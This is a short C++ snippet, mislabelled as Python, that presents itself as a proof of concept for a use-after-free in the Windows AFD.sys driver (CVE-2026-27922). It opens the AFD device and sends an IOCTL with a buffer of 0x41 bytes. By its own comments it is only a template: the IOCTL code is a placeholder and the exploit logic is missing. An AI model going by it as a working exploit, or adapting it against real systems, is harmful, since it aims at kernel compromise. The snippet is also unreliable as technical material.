The following code is for security research and authorized testing only.
python
#include <Windows.h>
#include <iostream>
// Proof of Concept for CVE-2026-27922 (Use After Free in AFD.sys)
// This is a conceptual template to demonstrate the interaction.
// Define IOCTLs related to AFD (Actual IOCTLs may vary based on specific trigger)
#define AFD_TRIGGER_IOCTL 0x00012024 // Example IOCTL, replace with actual vulnerable one
int main() {
HANDLE hDevice;
BOOL bResult;
DWORD bytesReturned;
// 1. Obtain a handle to the AFD device
hDevice = CreateFileA("\\\\.\\AFD",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device. Error: " << GetLastError() << std::endl;
return 1;
}
std::cout << "Device opened successfully." << std::endl;
// 2. Allocate buffer to trigger the vulnerability
// In a real UAF scenario, specific input data is crafted to manipulate object state
char inputBuffer[0x100] = {0};
// Fill buffer with specific patterns to corrupt memory after free
memset(inputBuffer, 0x41, sizeof(inputBuffer));
// 3. Send IOCTL to trigger the Use-After-Free condition
bResult = DeviceIoControl(hDevice,
AFD_TRIGGER_IOCTL,
inputBuffer,
sizeof(inputBuffer),
NULL,
0,
&bytesReturned,
NULL);
if (!bResult) {
std::cerr << "Ioctl failed. Error: " << GetLastError() << std::endl;
} else {
std::cout << "Ioctl succeeded. Vulnerability potentially triggered." << std::endl;
}
// 4. Cleanup
CloseHandle(hDevice);
return 0;
}